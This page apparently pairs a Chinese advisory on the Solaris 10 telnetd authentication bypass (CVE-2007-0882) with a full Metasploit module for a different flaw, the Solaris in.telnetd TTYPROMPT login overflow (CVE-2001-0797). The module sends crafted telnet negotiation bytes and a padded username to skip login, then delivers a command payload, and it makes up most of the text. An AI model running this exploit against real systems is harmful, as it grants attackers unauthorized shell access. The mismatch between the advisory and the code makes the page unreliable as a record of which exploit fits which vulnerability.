<p>漏洞描述:Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。 Solaris 10的TELNET服务在处理畸形的认证数据时存在漏洞,远程攻击者可能利用此漏洞绕过认证获得访问。 Solaris 10的Telnet守护进程未经检查将用户可能提交的畸形参数直接传递给login进程处理,login进程由此执行非预期的用户身份切换操作。这可能允许用户无需口令便可以某些特权用户权限登录到系统,获得完全的系统访问,如果系统未能对root用户登录位置作限制,获取root用户访问也是可能的。</p><p>CVE-ID:CVE-2007-0882</p><p>CNNVD-ID:CNNVD-200702-224</p><p>CVE官方链接<a href=“http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0882”><font color=“#333333”>:</font>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0882</a></p><p> 目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接: <a href=“http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-102802-1”>http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-102802-1</a> </p>
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
'Description' => %q{
This module uses a buffer overflow in the Solaris 'login'
application to bypass authentication in the telnet daemon.
},
'Author' => [ 'MC', 'cazz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2001-0797'],
[ 'OSVDB', '690'],
[ 'BID', '5531'],
],
'Privileged' => false,
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
['Automatic', { }],
],
'DisclosureDate' => 'Jan 18 2002',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(23),
OptString.new('USER', [ true, "The username to use", "bin" ]),
], self.class)
end
def exploit
connect
banner = sock.get_once
print_status('Setting TTYPROMPT...')
req =
"\xff\xfc\x18" +
"\xff\xfc\x1f" +
"\xff\xfc\x21" +
"\xff\xfc\x23" +
"\xff\xfb\x22" +
"\xff\xfc\x24" +
"\xff\xfb\x27" +
"\xff\xfb\x00" +
"\xff\xfa\x27\x00" +
"\x00TTYPROMPT" +
"\x01" +
rand_text_alphanumeric(6) +
"\xff\xf0"
sock.put(req)
sleep(0.25)
print_status('Sending username...')
filler = rand_text_alpha(rand(10) + 1)
req << datastore['USER'] + (" #{filler}" * 65)
sock.put(req + "\n\n\n")
sleep(0.25)
sock.get_once
sock.put(payload.encoded + "\n")
sleep(0.25)
handler
end
end